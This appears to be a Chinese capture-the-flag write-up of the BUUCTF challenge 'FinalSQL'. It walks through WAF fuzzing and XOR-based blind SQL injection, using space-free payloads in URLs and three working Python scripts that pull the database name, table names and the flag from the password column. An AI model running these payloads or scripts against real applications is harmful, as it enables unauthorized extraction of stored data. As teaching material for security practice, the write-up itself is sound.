当前位置: 首页 > article >正文

Buuctf [极客大挑战 2019]FinalSQL

Buuctf [极客大挑战 2019]FinalSQL

1.拿到题目先随便点吧
在这里插入图片描述
2.根据题目提示,选择正确的神秘代码即可获得flag,尝试点1
在这里插入图片描述

3.题目提示,不是这个,点其他的按钮,尝试点击2
在这里插入图片描述
4.它说矣,也不是这个,那就再点击3
在这里插入图片描述
5.它逗一下我,你找到flag在这里,但是没有,继续点击4
在这里插入图片描述
6.好好,我告诉你,就在下面一个,真的,那就点击5
在这里插入图片描述

7.还查了一下英文单词,它说你是多蠢啊,怎样我才可以给你?因此,为什么不看一下第六个呢?但是它在哪里吗?
在这里插入图片描述

8.聪明的,但是不是这张表,通过上述的判断,我们可以看到id是可以控制的参数,进一步验证我们的推测1'

http://35aacee9-5590-4b43-b6bb-5433adc14afa.node5.buuoj.cn:81/search.php?id=1%27
在这里插入图片描述

9.使用-- -进行注释

http://35aacee9-5590-4b43-b6bb-5433adc14afa.node5.buuoj.cn:81/search.php?id=1%27–%20-
在这里插入图片描述

10.正确输入1的回显是

http://35aacee9-5590-4b43-b6bb-5433adc14afa.node5.buuoj.cn:81/search.php?id=1
在这里插入图片描述

11.通过上面的三个回显,我们所做的总结如下所示

(1)当输入正确时,正确的回显是

NO! Not this! Click others~~~

(2)当输入错误时,错误的回显是

Error!

(3)当输入特殊字符时,被waf拦截的回显是

你可别被我逮住了,臭弟弟

12.我是直接上手SQL注入的fuzz判断其过滤了哪些字符

在这里插入图片描述

13.使用bp爆破的话,就不赘述
在这里插入图片描述

14.需要注意的一点是,不断扩充自己的sql注入的fuzz字典,可以清楚的发现,存在数字型的异或注入
在这里插入图片描述
15.异或的话,还是比较好理解,即相同为0,不同为1

使用异或的表达式如下所示:

1^1=0

1^0=1

0^1=1

0^0=0

本道题目当中,就是利用这样的性质就行求解,尝试使用0^x的情况,只要后面为真的话,那么我们便可以判断数据,这个点是解开这道题目的关键。

16.本地调试

select * from product where id = 962;

在这里插入图片描述

17.查看数据库

select database();
在这里插入图片描述

18.查看数据库长度

select length(database());
在这里插入图片描述
在这里插入图片描述

19.本地测试的数据库为tmall,因此数据库的长度为5,通过sql语句判断出数据库的长度,而在本道数据库的长度判断和本地不一样的情况是,CTF中的数据库过滤了空格,构造语句如下所示

http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E0)

在这里插入图片描述

20.这里顺带就引出二分查找法,尝试数据的长度大于15

http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E15)

在这里插入图片描述

21.当输入15时,返回错误,尝试大于7

http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E7)

在这里插入图片描述

22.当输入7时,返回错误,尝试大于4

http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E4)

在这里插入图片描述

23.当输入大于4时,返回错误,尝试大于2

http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E4)

在这里插入图片描述

24.当输入2时,返回正确,尝试大于3
在这里插入图片描述

25.通过大于4是错误的,尝试大于5

http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))%3E5)

在这里插入图片描述

26.那么说明数据库的长度为4

http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id=0^(select(length(database()))=4)

在这里插入图片描述

27.开始爆破数据库,因为知道数据库的长度为4,那么通过ASCII值推测出数据库的库名

28.本地测试,通过返回的ASCII值判断数据名

select (ord(substr((select(database())),1,1))%3E32);

在这里插入图片描述

29.这里面就有两个可控制的变量,一个是数据库的长度,另外一个数据库名的ASCII码

select (ord(substr((select(database())),数据长度,1))%3E数据库的ASCII值);

那么脚本如下:

# -*- coding: utf-8 -*-
# coding=utf8

import requests
import time

#payload = 0^(ord(substr(database(),1,1))>32)
#该题目过滤了空格,使用括号绕过
url = "http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id="
# respons = requests.get(url)
# print(respons.text)

database_name = ''

for x in range(1,100):
    min = 1
    max = 150
    mid = (min + max)//2
    while min < max:
        params = {"id":"0^(ord(substr((select(database())),"+str(x)+",1))>"+str(mid)+")"}
        response = requests.get(url=url,params=params)
        time.sleep(1)
        if "others~~~" in response.text:
            min = mid + 1
        else:
            max = mid
        mid = (min+max)//2
    if min <= 32 or max >= 127:
        break
    database_name += chr(mid)
    print("数据库名为:" + database_name)

30.这里的ASCII值,有个特性,在32127这样一个范围,代码的话,省去了判断数据库的长度,使用循环的形式得出数据库
在这里插入图片描述

31.通过爆破获得数据库名为geek
在这里插入图片描述

32.爆破数据库的表名:

select (ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='tmall')),1,1))%3E33);

在这里插入图片描述

代码如下所示:

# -*- coding: utf-8 -*-
# coding=utf8

import requests
import time

#payload = 0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),1,1))>0)
#该题目过滤了空格,使用括号绕过
url = "http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id="
# respons = requests.get(url)
# print(respons.text)

tables_name = ''

for x in range(1,100):
    min = 1
    max = 150
    mid = (min + max)//2
    while min < max:
        params = {"id":"0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),"+str(x)+",1))>"+str(mid)+")"}
        response = requests.get(url=url,params=params)
        time.sleep(1)
        if "others~~~" in response.text:
            min = mid + 1
        else:
            max = mid
        mid = (min+max)//2
    if min <= 32 or max >= 127:
        break
    tables_name += chr(mid)
    print("数据库表名为:" + tables_name)

在这里插入图片描述

33.这里爆破字段名是硬伤。使用了很多种办法,都是报错
在这里插入图片描述

34.而在本道题目中,flag存在字段password

# -*- coding: utf-8 -*-
# coding=utf8

import requests
import time

#payload = 0^(ord(substr(database(),1,1))>32)
#该题目过滤了空格,使用括号绕过
url = "http://0dd93945-1aaf-448f-b57e-0d6636d4dc55.node5.buuoj.cn:81/search.php?id="
# respons = requests.get(url)
# print(respons.text)

column_name = ''

for x in range(1,1000000):
    min = 1
    max = 150
    mid = (min + max)//2
    while min < max:
        #params = {"id":"0^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),"+str(x)+",1))>"+str(mid)+")"+str(x)+",1))>"+str(mid)+")"}
        # 0^(ord(substr((select(group_concat(password))from(F1naI1y))
        # params = {"id": "0^(ord(substr((select(group_concat(password))from(F1naI1y))," + str(mid)+")"}
        # params = {"id": "0^(ord(substr((select(group_concat(password))from(F1naI1y))," + str(x) + ",1))>" + str(mid) + ")"}
        params = {"id":"(ord(substr((select(group_concat(password))from(F1naI1y)),"+ str(x) + ",1))>" + str(mid) + ")"}
        response = requests.get(url=url,params=params)
        time.sleep(1)
        if "others~~~" in response.text:
            min = mid + 1
        else:
            max = mid
        mid = (min+max)//2
    if min <= 32 or max >= 127:
        break
    column_name += chr(mid)
    print("flag:" + column_name)

在这里插入图片描述


http://www.kler.cn/a/594600.html

相关文章:

  • 计算机图形学学习日志4
  • CVPR2025 | 对抗样本智能安全方向论文汇总 | 持续更新中~
  • mysql之DATE_FORMAT迁移到gbase8s
  • MVC_Publish-Subscriber 模式中的事件处理程序
  • 【虚幻引擎UE5】SpawnActor生成Character实例不执行AI Move To,未初始化AIController的原因和解决方法
  • 微服务即时通信系统---(九)消息转发子服务
  • Sqlserver安全篇之_启用和禁用Named Pipes的案列介绍
  • 基于 HT 2D3D 渲染引擎的新能源充电桩可视化运营系统技术剖析
  • 网络安全证书培训机构有哪些
  • Godep是什么??在GoLang中作用是什么
  • Unity 从零开始的框架搭建1-7 FSM有限状态机与其应用示例
  • 自动生成树形目录结构:与 `el-tree` 和滚动定位结合的完整解决方案
  • WordPress系统获取webshell的攻略
  • 请为下面的html添加一个修改按钮,以便对书名、价格进行修改
  • 【FastGPT】利用知识库创建AI智能助手
  • C++动态库中的静态调用和动态调用,延迟加载
  • 再学:ERC721扩展、ERC1155、SBT,OpenSeaNFT市场 NFT Market 习题讲解
  • Multisim学习-01 特点安装使用和第一个仿真实例
  • 智慧人大系统(源码+文档+讲解+演示)
  • [极客大挑战 2019]Upload_3.19BUUCTF练习day3(2)